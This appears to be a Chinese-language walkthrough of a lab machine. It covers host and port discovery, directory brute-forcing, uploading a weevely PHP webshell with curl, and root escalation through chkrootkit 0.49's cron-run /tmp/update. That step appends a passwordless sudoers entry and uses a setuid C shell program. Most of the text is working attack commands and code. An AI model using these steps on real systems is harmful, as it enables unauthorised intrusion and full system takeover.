知识点
- Curl上传文件
- chkrootkit提权
- C小脚本编写
主机发现
netdiscover

端口扫描
nmap -sC -sV -T4 192.168.80.4

信息收集
- 站点目录爆破
gobuster dir -u http://192.168.80.4 -w /usr/share/wordlists/dirb/big.txt -t50 -o dir.out

- 通过 Curl上传文件
#查看可用选项
curl -X OPTIONS -v http://192.168.80.4/test
#生成webshell
weevely generate 123 pass.php
#上传文件
curl -f -T pass.php http://192.168.80.4/test/ --http1.0 -v
提权
- 连接shell
weevely http://192.168.80.4/test/pass.php 123
- 信息收集
ls -la /etc/cron*

chkrootkit -V
#chkrootkit version 0.49
searchsploit chkrootkit

chkrootkit有crontab,会定期以root身份执行/tmp/update文件
touch update
echo "chmod +w /etc/sudoers && echo 'www-data ALL=(ALL)NOPASSWD:ALL' >> /etc/sudoers" >update
#echo "chmod 777 /root">update
chmod 777 update

- 编写C脚本提权
#include<unistd.h>
void main(void)
{
system("chown root:root /tmp/update");
system("chmod 4755 /tmp/update");
setuid(0);
setgid(0);
execl("/bin/sh","sh",NULL);
}
chmod 755和chmod 4755的区别
4表示其他用户执行文件时,具有与所有者相当的权限。
execl与system区别
execl()用来执行参数path字符串所代表的文件路径, 接下来的参数代表执行该文件时传递的argv[0],argv[1].....是后一个参数必须用空指针NULL作结束
返回值 成功则不返回值, 失败返回-1, 失败原因存于errno中
#int execl(const char *path, const char *arg, ...);
# execl("/bin/ls", "ls", "-al", "/etc/passwd", NULL);
system()会调用fork()产生子进程,由子进程来调用/bin/sh-c string来执行参数string字符串所代表的命令,此命令执行完后随即返回原调用的进程。在调用system()期间SIGCHLD 信号会被暂时搁置,SIGINT和SIGQUIT 信号则会被忽略。
返回值
=-1:出现错误
=0:调用成功但是没有出现子进程
>0:成功退出的子进程的id
如果system()在调用/bin/sh时失败则返回127,其他失败原因返回-1。
#int system(const char * string);
#system("chown root:root /tmp/update");
gcc -o update exp.c
./update

END

3269

被折叠的 条评论
为什么被折叠?



